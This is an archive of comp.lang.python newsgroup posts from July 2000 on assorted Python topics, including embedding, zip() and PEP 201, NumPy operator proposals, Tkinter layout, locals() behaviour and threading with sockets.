> binding?  Does anyone know of a commercial or university project that is
> implementing a Python VM using ASICs or FPGAs?

The data types aren't a problem. It isn't clear (to me) what the benefit
of the project would be. Python code can already run in a lot of
embedded systems through x86 compatibility and JVM compatibility. A
dedicated chip might give better performance, but compiling Python to
x86 would probably give even better performance.

--
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on.
	- http://www.cs.yale.edu/~perlis-alan/quotes.html


From nelson_chenkin at seagate.com  Thu Jul 20 13:14:22 2000
From: nelson_chenkin at seagate.com (nelson_chenkin at seagate.com)
Date: Thu, 20 Jul 2000 17:14:22 GMT
Subject: Embedded System - Trapping Errors
Message-ID: <8l7c11$u0b$1@nnrp1.deja.com>

I am embedding Python on a machine that does not have an output device.
A Python script file is sent down to this machine from a host via an
Ethernet connection and is then executed remotely. This is all working
like a charm.

Now I want to start intercepting script errors, converting the errors to
an format of my own design, then send them back up to the host machine
where they can be reported to the user.

Can this be done? I have stepped through the code in PyArg_ParseTuple()
to see what happpens when I intentionally provide the wrong number of
arguments. It seems like all this error handling is hard coded. There is
not any indirection that allows me to install an error handling hook.

I am running the script using PyRun_AnyFile(). By the time that returns
to me the error has been cleared - the hardcoded call to PyErr_Print()
which then calls PyErr_Fetch() clears it.

Obviously I can change the source code, but this presents a problem when
new Pythons versions are released.

Any help would be appreciated.
Thanks,
NC


Sent via Deja.com http://www.deja.com/
Before you buy.


From shapr at uab.edu  Wed Jul 26 16:45:44 2000
From: shapr at uab.edu (Shae Erisson)
Date: Wed, 26 Jul 2000 20:45:44 GMT
Subject: python compiler?
References: <8lkvic$d621@magpie.cat.net.th>
Message-ID: <397F4D4D.AEB129B3@uab.edu>

Jamie Allison wrote:
> 
> Does anybody know of a compiler for pyhton?

Jeremy Hylton has a source to bytecode compiler written in Python.
it's in the python/nondist/Compiler/ part of the CVS tree.

Greg Stein and Bill Tutt wrote a Python2C translator, which cuts at
least 10percent off of running time from what I've read. The C file
that's written is a Python module, and so won't let you make a pure
executable though.
It's at http://lima.mudlib.org/~rassilon/py2c/ (or was last I checked)

A python compiler is definitely possible, especially once you've checked
out the two projects mentioned above. I don't know how much it's needed
though.
-- 
Shae Matijs Erisson - http://www.webwitches.com/~shae/
VirtualPairProgramming Wanted - Linux/Emacs/Python/Speak Freely
.fi: rakastan ohjelmointia - python kengitt?? aasia


From gfortune at micron.net  Sat Jul  8 00:18:15 2000
From: gfortune at micron.net (Greg Fortune)
Date: Fri, 7 Jul 2000 21:18:15 -0700
Subject: Wait/Delay
References: <8k2lhd$5i6$1@gossamer.itmel.bhp.com.au> <F1595.115780$WS3.1008506@typhoon.we.rr.com>
Message-ID: <K0y95.52$md2.24497@news01.micron.net>

And put this in a while loop and a statement will only execute on the
minute...  That allows you to run a statement at predefined intervals
regardless of how long the command takes (as long as it takes less than a
minute or 5 or 60 or whatever you set it to)  For example, I wanted to run a
ping once a minute.  If I just time.sleep(60) or time.sleep(45) even, the
ping will not always take the same amount of time.  Here's the code :)

time.sleep(60 - string.atoi(time.strftime('%S',
time.localtime(time.time()))))

and btw, this can probably done cleaner.  I did this the second day I used
Python <g>

Greg
Stephen Hansen <stephen at cerebralmaelstrom.com> wrote in message
news:F1595.115780$WS3.1008506 at typhoon.we.rr.com...
> >>> import time
> >>> time.sleep(1)
>
> There :)
>
> --Stephen :)
>
> A J Wilson <wilson.austin.aj at bhp.com.au> wrote in message
> news:8k2lhd$5i6$1 at gossamer.itmel.bhp.com.au...
> > Hi
> >
> > Is there a command/function in python to put a delay or wait step into a
> > program?
> >
> > Thanks
> > Austin
> >
> >
>
>




From guido at beopen.com  Fri Jul 28 09:12:43 2000
From: guido at beopen.com (Guido van Rossum)
Date: Fri, 28 Jul 2000 13:12:43 GMT
Subject: New operators needed? (was Re: Discussion: new operators for numerical computation)
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <397C9207.EC0528AA@eecis.udel.edu> <m3lmypfdwe.fsf@chinon.cnrs-orleans.fr> <8lqbqu$uhm$1@slb2.atl.mindspring.net>
Message-ID: <cpu2dae41d.fsf@cj20424-a.reston1.va.home.com>

aahz at netcom.com (Aahz Maruch) writes:

> In article <m3lmypfdwe.fsf at chinon.cnrs-orleans.fr>,
> Konrad Hinsen  <hinsen at cnrs-orleans.fr> wrote:
> >
> >You raise an important point: adding operators may not be the best
> >solution at all.
> >
> >With the ongoing rework of NumPy that turns arrays into Python classes
> >with an underlying C implementation, it would be possible to have an
> >"array" and a "matrix" class with different semantics, but sharing
> >most of the code and having equal performance. Conversion between the
> >two would also be possible at basically no cost, and C modules could
> >be written to accept both.
> 
> Huzzah!  "And there was much rejoicing in the land...."

By the way, Konrad (hi!) -- what's the status of that reworking?  I've
totally lost track of NumPy.  The SourceForge project doesn't seem
very active.  So how is this going?  Is it going anywhere?

--Guido van Rossum (home page: http://www.pythonlabs.com/~guido/)


From iain at wombatzone.freeserve.co.uk  Sun Jul  2 17:29:16 2000
From: iain at wombatzone.freeserve.co.uk (Iain Calder)
Date: Sun, 02 Jul 2000 21:29:16 +0000
Subject: PyGTK and draw_array
References: <395F0CA6.A20736F@pp.htv.fi>
Message-ID: <395FB42C.89F435B0@wombatzone.freeserve.co.uk>

Esko Lehtonen wrote:
> 
> I am trying to manipulate an image and then draw it to GtkDrawingArea
> using PyGtk and Numerical Python.

<snip>
 
> So I made following code:
> 
> WIDTH = 30
> HEIGHT = 20
> D = 3
> # create rgb image as array, every value 100
> img = ones((WIDTH, HEIGHT, D), 'b')
> img = img * 100
> ----
> darea = GtkDrawingArea()
> ----
> draw_array(darea.get_window(),
>            widget.get_style().black_gc, x, y,
>            GDK.RGB_DITHER_NORMAL, img)
> 
> I still have a problem, because then a got: "TypeError: array data must
> be unsigned bytes" when I'm trying to use the draw_array function.

After multiplying by 100, img is not longer of type 'b'.  img.typecode()
returns 'i'.

Use img=img.astype('b') before the call to draw_array to cast back to
bytes.


HTH,

Iain Calder


From stephen at cerebralmaelstrom.com  Fri Jul  7 22:33:47 2000
From: stephen at cerebralmaelstrom.com (Stephen Hansen)
Date: Sat, 08 Jul 2000 02:33:47 GMT
Subject: Newbie: Development plaform
References: <20000707190803.4740.qmail@web210.mail.yahoo.com>
Message-ID: <fqw95.118260$WS3.1039592@typhoon.we.rr.com>

    My favorite GUI is wxPython (http://www.wxpython.org) and my favorite
database is MetaKit (http://www.equi4.com/metakit).
    wxPython, to me, seems more `natural` on the Windows platform which is
rather important to me, and it also doesn't require the installation of
different scripting language just to run it, like Tkinter does.. that
irritates me :)

    MetaKit is just awesome. Its fast, incredibly flexible and dynamic, and
just about seems to suit me perfectly. :) The only drawbacks you may have
for it is that it's not a SQL database, but there is a (beta? alpha?) SQL
parser for it.

--Stephen

Demos Economacos <eaganhills at yahoo.com> wrote in message
news:20000707190803.4740.qmail at web210.mail.yahoo.com...
> Hello,
>
> I am comtemplating development of a system that will
> have to run on Linux, Win and Mac.
>
> My questions are:
> What GUI tool and Database (< 100,000 recs) would you
> recommend?
> How to distribute programs to users (< 100)
>
> Thanks
>
> Demos
>
>
>
>
> __________________________________________________
> Do You Yahoo!?
> Send instant messages & get email alerts with Yahoo! Messenger.
> http://im.yahoo.com/
>




From cjensen at bioeng.ucsd.edu  Tue Jul 11 18:39:35 2000
From: cjensen at bioeng.ucsd.edu (Curtis Jensen)
Date: Tue, 11 Jul 2000 15:39:35 -0700
Subject: Python and SSH
References: <8kf4gl$fqm$1@saltmine.radix.net>
Message-ID: <396BA227.7EE196E1@bioeng.ucsd.edu>

Cary O'Brien wrote:
> 
> I'd like to have a running python process ACCEPT an incoming SSH
> connection.  Any ideas on how I could do this?
> 
> -- cary

If I'm not mistake SSH just sends data accross a socket, same as most
network protocals (I'm not sure which port SSH sends on).  You can use
the socketServer module to catch socket data from the SSH port.

-- 
Curtis Jensen
cjensen at bioeng.ucsd.edu
http://www-bioeng.ucsd.edu/~cjensen/
FAX (425) 740-1451


From dalke at acm.org  Wed Jul  5 12:29:28 2000
From: dalke at acm.org (Andrew Dalke)
Date: Wed, 5 Jul 2000 10:29:28 -0600
Subject: Nth digit of PI
References: <bivnjsoq0amb8qjmqtgkbfjsl2df2n2tta@4ax.com> <FvuAy4.51q@cwi.nl><8hogt2$57t$1@nnrp1.deja.com> <8houlu$j9s$1@nntp.itservices.ubc.ca><394889C3.1ED5@esatclear.ie> <t7545.239$ZR1.2944@news.uswest.net> <20000705071827.A1015156@vislab.epa.gov>
Message-ID: <8jvni0$amr$1@slb3.atl.mindspring.net>

Randall Hopper
>But one of the interesting things that you can show with a Fourier
>integral (possibly other ways too) is that:
>
>    Pi^2/8 = sum(n=1..inf, 1/(2n-1)^2)
>
>You can see that the sum is 1/1 + 1/9 + 1/125 + ....  The terms get smaller
>and smaller, which means making the decimal representation longer and
>longer.  In the limit, the decimal representation is infinitely long
>because the denominator is infinitely large.


I've seen the proof that e is irrational, but don't recall the details.
The sketch you outlined isn't sufficient.  Consider

  sum(n=1..inf, 1/n^2) = 1 + 1/2 + 1/4 + 1/8 + ... = 2

For any finite N in the sum 1..N, the denominator is infinitely large,
but the infinite sum is an integer.

                    Andrew
                    dalke at acm.org





From richard_chamberlain at ntlworld.com  Tue Jul 18 02:42:37 2000
From: richard_chamberlain at ntlworld.com (richard_chamberlain)
Date: Tue, 18 Jul 2000 07:42:37 +0100
Subject: grid
References: <8kvkvt$68h$1@nnrp1.deja.com> <8kvome$9ah$1@nnrp1.deja.com>
Message-ID: <ZYSc5.89$uY6.1460@news6-win.server.ntlworld.com>

Yes that looks fine.

You might want to either increase the ipad of the right frame or add a blank
label:

Label(right,text='',bg='orange').grid(row=1,column=0,columnspan=2)

so that your two frames are identically sized.

Try and get the hang of pack though, it's probably the most popular and
powerful of Tk's layout managers. I find that I use pack for 90% of my
layouts. But that maybe just me.

Oh and I think you spelt sweet wrong. </wink>

Richard

Keith Murphy <kpmurphy at my-deja.com> wrote in message
news:8kvome$9ah$1 at nnrp1.deja.com...
> does this look alright?
>
> # embed.py
> from Tkinter import *
>
> root = Tk()
>
> left = Frame(root, bg='red')
> right = Frame(root, bg='orange')
>
> button1 = Button(left, text='hi')
> button2 = Button(right, text='yo')
>
> entry1 = Entry(left)
> entry2 = Entry(right)
>
> label1 = Label(left, text='this is schweet')
>
> left.grid(row=0, column=0, ipadx=10, ipady=10)
> right.grid(row=0, column=1, ipadx=10, ipady=10)
> button1.grid(row=0, column=0)
> button2.grid(row=0, column=0)
> entry1.grid(row=0, column=1)
> entry2.grid(row=0, column=1)
> label1.grid(row=1, column=0, columnspan=2)
>
>
> mainloop()
> # end embed.py
>
>
> thanks,
> -->keith
>
> In article <8kvkvt$68h$1 at nnrp1.deja.com>,
>   Keith Murphy <kpmurphy at my-deja.com> wrote:
> > can you embed grids?  ...what i'd like to do is grid within several
> > frames, and then grid the frames together.  sort of like html
> tables...
> > i hate pack.
> >
> > -->keith
> >
> > Sent via Deja.com http://www.deja.com/
> > Before you buy.
> >
>
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.




From warren at sunesis-pharma.com  Thu Jul  6 23:49:37 2000
From: warren at sunesis-pharma.com (Warren L. DeLano)
Date: Thu, 06 Jul 2000 20:49:37 -0700
Subject: Namespace Mystery (HELP!)
Message-ID: <39655351.9EE499F2@sunesis-pharma.com>

In the following code (with Python 1.5.2)...

**************
a = 1
def fn():
   b = 1
   globals()['a']=2
   locals()['b']=2
   print a,b

fn()
*************

Why is the output "2 1" and not "2 2"?
What is it about the locals() function that makes it behave
unexpectedly?

Note that the same unexpected result also occurs with exec.

def fn():
   b=1
   exec "b=2" in globals(),locals()
   print b   # output is "1"

does not produce the same result as

def fn():
   b=1
   exec "b=2"
   print b  # output is "2"

The former example does not modify the function's local name space,
where the latter does...my expectation would be that both examples
should modify the local namespace.  Has this behavior changed in 1.6?

Insight from a Python Guru would be much appreciated!

Thanks,
- Warren

--
mailto:warren at sunesis-pharma.com
Warren L. DeLano, Ph.D.
Informatics Scientist
Sunesis Pharmaceuticals, Inc.
3696 Haven Ave., Suite C
Redwood City, CA 94063
(650)-556-8800 fax: (650)-556-8824




From mhammond at my-deja.com  Sun Jul 16 22:21:42 2000
From: mhammond at my-deja.com (Mark Hammond)
Date: Mon, 17 Jul 2000 02:21:42 GMT
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395D7E14.B18EC77D@san.rr.com> <3968fadf.299209218@nntp.interaccess.com> <396A1436.3B6BD73B@sage.att.com> <Epxa5.13351$Tb7.89807@news-server.bigpond.net.au> <8kld9h$489$1@nnrp1.deja.com> <396f9d89.25704394@news.btx.dtag.de>
Message-ID: <8ktqjc$rjl$1@nnrp1.deja.com>

In article <396f9d89.25704394 at news.btx.dtag.de>,
  spamfranke at bigfoot.de (Stefan Franke) wrote, regarding Python .NET

[FWIW, the ActiveState page for this stuff is at
http://www.activestate.com/.NET ]

> How will that all impact the future of the CPython / Win32
> integration?

It is just yet another demand on my time.  It certainly does not sound
the death knell for Pythonwin, win32com, or the win32 extensions.

But-sometimes-I-wish-it-did-ly,

Mark.


Sent via Deja.com http://www.deja.com/
Before you buy.


From aahz at netcom.com  Thu Jul 20 11:28:56 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 20 Jul 2000 15:28:56 GMT
Subject: merge (Re: zip or marry etc)
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <slrn8nd7s8.gtf.scarblac-spamtrap@flits104-37.flits.rug.nl> <8l6vc5$c07$1@slb6.atl.mindspring.net> <+MLEAgA0Lxd5EwDd@jessikat.fsnet.co.uk>
Message-ID: <8l75ro$gai$1@slb6.atl.mindspring.net>

In article <+MLEAgA0Lxd5EwDd at jessikat.fsnet.co.uk>,
Robin Becker  <robin at jessikat.fsnet.co.uk> wrote:
>In article <8l6vc5$c07$1 at slb6.atl.mindspring.net>, Aahz Maruch
><aahz at netcom.com> writes
>>Attribution for Remco Gerlich restored:
>>>
>>>The function zip as proposed (combine two lists into a list of pairs)
>>>is straight from Haskell (and other functional languages) just like map
>>>and filter. I think zip is the obvious name.
>>
>>Ah.  Hmmmm....  Well, then, I guess I withdraw my objections to zip.
>>I'd still prefer something else, but....
>
>so are we saying that the almost unknown language Haskell has the
>correct semantics for this; zip has at least three common usages other
>than of zip fastener meaning (interlace).

I'm not saying that.  I'm saying that given that zip() is to be used for
the purpose of giving Python some of the attributes of functional
languages, it's reasonable to use the same notation they do
(particularly if it's more than just Haskell).  I still don't *like* it,
but I'll put up with it, even though I'm worried about namespace
collisions when someone creates a file zipping routine.

"Standards are wonderful: there are so many of them to choose from."
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Q:  In a lesbian relationship, who decides who gets to be the man?
A:  It's two women.  There is no man.  That's the point.


From paul at prescod.net  Mon Jul 24 22:38:36 2000
From: paul at prescod.net (Paul Prescod)
Date: Mon, 24 Jul 2000 21:38:36 -0500
Subject: Operators for everything (was Re: Operators for matrix)
References: <m3em4ld5t3.fsf@atrus.jesus.cam.ac.uk> <memo.20000724210456.47597A@digitig.compulink.co.uk> <397CB3EA.15F5514F@prescod.net> <200007250053.RAA03842@rocket.knowledgetrack.com>
Message-ID: <397CFDAC.38A22DAF@prescod.net>

Huaiyu Zhu wrote:
> 
> ...
>
> Is this meta operator allowed to be combined with existing operators, or is
> it for identifiers only?  

Various people have proposed various different versions but my
preference would be that it is for identifiers only. I think we should
use alphanumerics for new operators for the same reason we use
alphanumerics for variable and function names. So that when you come
into a piece of code that you are not familiar with, you have a chance
of understanding it. For instance, you could write this:


from matpy import elementwiseadd

ea=elementwiseadd

j = a @ea b

Now you can figure out what ea means merely by walking backwards through
the code. Even if all you got from matpy was "ea" you might have a half
a chance of guessing. OTOH, there is no way to guess whether @+ is
elementwise or matrixwise in a particular piece of code.

> If the former, then @+ @- @* @/ etc are also available.

I don't think so.

> A related question:
> 
> If @add does not need to be hard coded in C, why @+ need so?  

Neither needs to be hard-coded into the grammar. The parser could always
recognize them from the leading @-symbol. This is different from your
earlier proposals where *any sequence of symbols* could be an operator.
That's quite different.

Nevertheless, I would be extremely reluctant to add a feature that would
encourage people to do @++, @-- @+* and so forth. @increment is not so
bad. @decrement is not so bad. @positive_mul (whatever that might mean
in some particular domain) is not so bad.

I think name-based binary operators are actually pretty neat and can be
used very Pythonically. IMO, they are the right compromise between
terseness and legibility.

-- 
 Paul Prescod - Not encumbered by corporate consensus
New from Computer Associates: "Software that can 'think', sold by 
marketers who choose not to."



From apardon at trout.vub.ac.be  Mon Jul 31 09:29:09 2000
From: apardon at trout.vub.ac.be (apardon at trout.vub.ac.be)
Date: 31 Jul 2000 13:29:09 GMT
Subject: newbee, needs PIL-support
Message-ID: <8m3uv5$fe5$1@snic.vub.ac.be>

I cant find out how to access the palette? How do I figure out which
colour a particular index represents?

How do I change a palette-entry?

I found out that converting an RGB image to a P-image doesn't
always give an optimal palette. I have converted a five of
six colorimage and I get pixel-values 45 and 225. Is there
a way to optimalize the palette?

-- 
Antoon Pardon


From sabren at manifestation.com  Thu Jul 27 11:46:47 2000
From: sabren at manifestation.com (Michal Wallace)
Date: Thu, 27 Jul 2000 11:46:47 -0400 (EDT)
Subject: cgi dectection
In-Reply-To: <39804dc7_1@news.chariot.net.au>
Message-ID: <Pine.BSF.4.10.10007271139130.19341-100000@chi.pair.com>

On Fri, 28 Jul 2000, Michael Lunnay wrote:

> is there a standard way to detect if script is being run as a cgi script or
> from the command line. I am creating a script that can be run from both and
> obviously want the cgi to output HTML but the cammnd line to print text.

A couple ways to get what you want come to mind:

1. check for CGI-specific variables in os.environ, eg CONTENT_TYPE
2. make the core logic into a module, and then have two front ends. :)
3. check for a command line flag if you want text..

Cheers,

- Michal
------------------------------------------------------------------------
www.manifestation.com  www.sabren.com  www.linkwatcher.com  www.zike.net
------------------------------------------------------------------------




From donn at oz.net  Thu Jul 20 03:06:49 2000
From: donn at oz.net (Donn Cave)
Date: 20 Jul 2000 07:06:49 GMT
Subject: Obscure Threading Bug
References: <Pine.LNX.4.21.0007191415030.29946-200000@zaibach.twistedmatrix.com>
Message-ID: <8l68e9$nrl$0@216.39.151.169>

Quoth Glyph Lefkowitz <glyph at twistedmatrix.com>:
| I apologize for the length and obscurity of the attachment.  However, the
| previous example where I encountered this bug was easily twenty times as
| long, and it took some effort to make it this short :-).
|
| Simply put, the interpreter usually segfaults when I run this file.  I
| don't know exactly why.  My copy of python doesn't have debugging
| symbols,so my backtraces aren't terribly meaningful, but the first few
| lines are usually something like:
|
| #0  __flockfile (stream=0x0) at lockfile.c:32
| #1  0x4009ac07 in _IO_ferror (fp=0x0) at ferror.c:35
| #2  0x8069178 in PyFile_SetBufSize ()
|
| the common theme being PyFile_SetBufSize ().
|
| "lots of threads, lots of sockets" is a common theme for a lot of apps
| that I would like to build, so I would be glad to help if there's any more
| information I can supply.
|
| This bug has been known to occurr on: RedHat/Debian Linux default Python
| install, Digital Unix python 1.5.2 (Digital UNIX V4.0F  (Rev. 1229); Thu
| Jul 15 17:56:36 EET DST 1999) and on debian using CVS python.

I tried it on a couple of others - FreeBSD 4.0, BeOS 4.5.2 - and
actually didn't get any crashes, but did get some tracebacks.

With luck perhaps someone who is more familiar with SocketServer and
threads will have an easy fix.  I can only say, this looks like a
recipe for trouble to me.

The cure, in my opinion, is to quit using file objects, and carefully
segregate every single direct access to (one end of) a socket into
its socket-specific thread.  Even recv() vs. send(), these should
happen in the same thread.

That's how I do it.  Maybe you can get away with some things that
I stay away from, it's up to you.

Now when another thread wants to do something with our socket, it
has to go through the socket thread, which is naturally blocking
on input from the socket.  The mechanism is another socket, or
a pipe, and the select() function.  Could sound like a hack, but
that extra I/O is essentially your message based dispatching system,
and in my opinion it's the most elegant way to work with threads.
It's also possible to add a thread-interlocked function call
parameter passing database, to reduce the potential size of I/O
if that's an issue.

I have code that does that kind of thing, and I'm thinking about
cleaning it up and making it more generic (currently very BeOS
specific) for other people to use.  Is there any other message
dispatch thread framework out there we should be looking at?

	Donn Cave, donn at oz.net


From bjorn at roguewave.com  Tue Jul 18 19:07:45 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Tue, 18 Jul 2000 17:07:45 -0600
Subject: zip or marry etc
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <T0ePelAgnJd5EwFl@jessikat.fsnet.co.uk>
Message-ID: <3974E341.58FC8939@roguewave.com>

Robin Becker wrote:
> 
> I suppose there must be something desperately wrong with using the
> __mul__ for sequences to indicate the set pairwise product. I would
> certainly be for
> 
> x,y in A*B rather than x,y in zip(A,B) or marry(A,B), but since * is the
> obvious operator it must be that someone else has reserved it.

if A is of a class defining __mul__ (or B is of a class defining
__rmul__) you'll have problems.

How about A @ B... <wink>

running-and-hiding'ly y'rs
-- bjorn



From bwarsaw at beopen.com  Thu Jul 27 15:24:38 2000
From: bwarsaw at beopen.com (Barry A. Warsaw)
Date: Thu, 27 Jul 2000 15:24:38 -0400 (EDT)
Subject: PEP 201, zip() builtin
Message-ID: <14720.35958.632383.574511@anthem.concentric.net>

Folks,

Here is the latest PEP 201, updated based on conversations with Guido
yesterday.  Notice that there are no more Open Issues.  See instead
the BDFL Pronouncements section.  Plan on seeing a C-based
implementation checked into the CVS devel tree soon.

If you want to comment on this PEP, you must include "PEP 201" in the
Subject: header.

Enjoy,
-Barry

-------------------- snip snip --------------------
PEP: 201
Title: Parallel Iteration
Version: $Revision: 1.10 $
Author: bwarsaw at beopen.com (Barry A. Warsaw)
Python-Version: 2.0
Status: Draft
Created: 13-Jul-2000
Post-History: 27-Jul-2000


Introduction

    This PEP describes the `parallel iteration' proposal for Python
    2.0, previously known as `parallel for loops'.  This PEP tracks
    the status and ownership of this feature, slated for introduction
    in Python 2.0.  It contains a description of the feature and
    outlines changes necessary to support the feature.  This PEP
    summarizes discussions held in mailing list forums, and provides
    URLs for further information, where appropriate.  The CVS revision
    history of this file contains the definitive historical record.


Motivation

    Standard for-loops in Python iterate over every element in a
    sequence until the sequence is exhausted[1].  However, for-loops
    iterate over only a single sequence, and it is often desirable to
    loop over more than one sequence, in a lock-step, "Chinese Menu"
    type of way.

    The common idioms used to accomplish this are unintuitive and
    inflexible.  This PEP proposes a standard way of performing such
    iterations by introducing a new builtin function called `zip'.


Parallel For-Loops

    Parallel for-loops are non-nested iterations over two or more
    sequences, such that at each pass through the loop, one element
    from each sequence is taken to compose the target.  This behavior
    can already be accomplished in Python through the use of the map()
    built-in function:

    >>> a = (1, 2, 3)
    >>> b = (4, 5, 6)
    >>> for i in map(None, a, b): print i
    ... 
    (1, 4)
    (2, 5)
    (3, 6)
    >>> map(None, a, b)
    [(1, 4), (2, 5), (3, 6)]

    The for-loop simply iterates over this list as normal.

    While the map() idiom is a common one in Python, it has several
    disadvantages:

    - It is non-obvious to programmers without a functional
      programming background.

    - The use of the magic `None' first argument is non-obvious.

    - It has arbitrary, often unintended, and inflexible semantics
      when the lists are not of the same length: the shorter sequences
      are padded with `None'.

      >>> c = (4, 5, 6, 7)
      >>> map(None, a, c)
      [(1, 4), (2, 5), (3, 6), (None, 7)]

    For these reasons, several proposals were floated in the Python
    2.0 beta time frame for providing a better spelling of parallel
    for-loops.  The initial proposals centered around syntactic
    changes to the for statement, but conflicts and problems with the
    syntax were unresolvable, especially when parallel for-loops were
    combined with another proposed feature called `list
    comprehensions' (see pep-0202.txt).


The Proposed Solution

    The proposed solution is to introduce a new built-in sequence
    generator function, available in the __builtin__ module.  This
    function is to be called `zip' and has the following signature:

    zip(seqa, [seqb, [...]])

    zip() takes one or more sequences and weaves their elements
    together, just as map(None, ...) does with sequences of equal
    length.  The weaving stops when the shortest sequence is
    exhausted.


Return Value

    zip() returns a real Python list, the same way map() does.


Examples

    Here are some examples, based on the reference implementation
    below.

    >>> a = (1, 2, 3, 4)
    >>> b = (5, 6, 7, 8)
    >>> c = (9, 10, 11)
    >>> d = (12, 13)

    >>> zip(a, b)
    [(1, 5), (2, 6), (3, 7), (4, 8)]

    >>> zip(a, d)
    [(1, 12), (2, 13)]

    >>> zip(a, b, c, d)
    [(1, 5, 9, 12), (2, 6, 10, 13)]

    Note that when the sequences are of the same length, zip() is
    reversible:

    >>> a = (1, 2, 3)
    >>> b = (4, 5, 6)
    >>> x = zip(a, b)
    >>> y = zip(*x) # alternatively, apply(zip, x)
    >>> z = zip(*y) # alternatively, apply(zip, y)
    >>> x
    [(1, 4), (2, 5), (3, 6)]
    >>> y
    [(1, 2, 3), (4, 5, 6)]
    >>> z
    [(1, 4), (2, 5), (3, 6)]
    >>> x == z
    1

    It is not possible to reverse zip this way when the sequences are
    not all the same length.


Reference Implementation

    Here is a reference implementation, in Python of the zip()
    built-in function.  These would ultimately be replaced by
    equivalent C code.

    def zip(*args):
        if not args:
            raise TypeError('zip() expects one or more sequence arguments')
        ret = []
        # find the length of the shortest sequence
        shortest = min(*map(len, args))
        for i in range(shortest):
            item = []
            for s in args:
                item.append(s[i])
            ret.append(tuple(item))
        return ret


BDFL Pronouncements

    Note: the BDFL refers to Guido van Rossum, Python's Benevolent
    Dictator For Life.

    - The function's name.  An earlier version of this PEP included an
      open issue listing 20+ proposed alternative names to zip().  In
      the face of no overwhelmingly better choice, the BDFL strongly
      prefers zip() due to it's Haskell[2] heritage.  See version 1.7
      of this PEP for the list of alteratives.

    - zip() shall be a built-in function.

    - Optional padding.  An earlier version of this PEP proposed an
      optional `pad' keyword argument, which would be used when the
      argument sequences were not the same length.  This is similar
      behavior to the map(None, ...) semantics except that the user
      would be able to specify pad object.  This has been rejected by
      the BDFL in favor of always truncating to the shortest sequence.

    - Lazy evaluation.  An earlier version of this PEP proposed that
      zip() return a built-in object that performed lazy evaluation
      using __getitem__() protocol.  This has been strongly rejected
      by the BDFL in favor of returning a real Python list.  If lazy
      evaluation is desired in the future, the BDFL suggests an xzip()
      function be added.

    - zip() with no arguments.  the BDFL strongly prefers this raise a
      TypeError exception.

    - zip() with one argument.  the BDFL strongly prefers that this
      return a list of 1-tuples.

    - Inner and outer container control.  An earlier version of this
      PEP contains a rather lengthy discussion on a feature that some
      people wanted, namely the ability to control what the inner and
      outer container types were (they are tuples and list
      respectively in this version of the PEP).  Given the simplified
      API and implementation, this elaboration is rejected.  For a
      more detailed analysis, see version 1.7 of this PEP.


References

    [1] http://www.python.org/doc/current/ref/for.html
    [2] http://www.haskell.org/onlinereport/standard-prelude.html#$vzip

    TBD: URL to python-dev archives


Copyright

    This document has been placed in the public domain.



Local Variables:
mode: indented-text
indent-tabs-mode: nil
End:



From jlecomte at ifrance.com.bbs  Mon Jul 17 10:40:02 2000
From: jlecomte at ifrance.com.bbs (jlecomte at ifrance.com.bbs)
Date: 17 Jul 2000 14:40:02 GMT
Subject: CXX and Swig, pros and cons
Message-ID: <3bRFK2$ivo@openbazaar.net>

I am fairly new to Python and I'd like to interface part of a medium
size C++ lib (around 70 classes) to Python. I looked on the www and I
found CXX and Swig. They seem to have fairly different approach of the
problem. I wonder which suits best C++.

If I miss any other tool, please let me know.

J?r?me.


From jeremy at beopen.com  Mon Jul 31 13:58:13 2000
From: jeremy at beopen.com (Jeremy Hylton)
Date: 31 Jul 2000 13:58:13 EDT
Subject: 64k Instruction Limit ??
References: <326536345498D311B3BC00105A39802A0747D3@newsintern.dspace.de>
Message-ID: <blbszei3g9.fsf@bitdiddle.concentric.net>

Stefan Migowsky <smigowsky at dspace.de> writes:

> if got a script which defines a big tuple > 64k entries. 
> After the tuple I define a for loop. 
> 
> The compile of this script causes a SystemError : com_addbyte out of
> range.


> Is there any way around this now or in future versions, other than 
> to try to change the script layout until it compiles ?

I expect this will be fixed in Python 2.0.  Charles Waldman has a
patch to fix it.  I believe there is still some discussion about how
exactly to fix it, but not about whether to fix it.

Jeremy

-- Jeremy Hylton <http://www.python.org/~jeremy/>


From hzhu at knowledgetrack.com  Fri Jul 21 22:48:01 2000
From: hzhu at knowledgetrack.com (Huaiyu Zhu)
Date: Sat, 22 Jul 2000 02:48:01 GMT
Subject: Discussion: new math operators
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <8l7c80$mlc$1@tomm.stsci.edu> <slrn8nhu0m.qn.hzhu@rocket.knowledgetrack.com> <Kp7e5.8550$4p3.62759@news-server.bigpond.net.au>
Message-ID: <slrn8ni31s.116.hzhu@rocket.knowledgetrack.com>

On Sat, 22 Jul 2000 02:11:54 GMT, Neil Hodgson <neilh at scintilla.org> wrote:
>> ...  Surprisingly (maybe not,
>> considering the math-oriented constituency), the third option draws the
>most
>> praise and almost not criticism.  It has more variations and have more
>> potential for the future.  Despite that, imo, it is unlikely to be
>accepted
>> eventually, because it would not play well with by non-math audience.
>
>   As one of the more reactionary Pythoneers with regard to syntax changes
>and as someone who is unlikely to ever need to use the new operators, I say
>the braced operators are the best.

I just posted a summary that dismissed this idea before seeing recent two
posts favoring brace based operators.  It's becoming increasingly obvious
that most discussants here favor this. Yes, I agree with all the advantages
of this.

Now the questions are:

1. How do we test reactions from people who do not read this thread?  Anyone
volunteer to give a try?

2. How important does the possible future extension play in this?  What
considerations should be put in this?

3. If there could be future calculus of operators, would we now favor (*)=
or (*=) for augmented assignment?

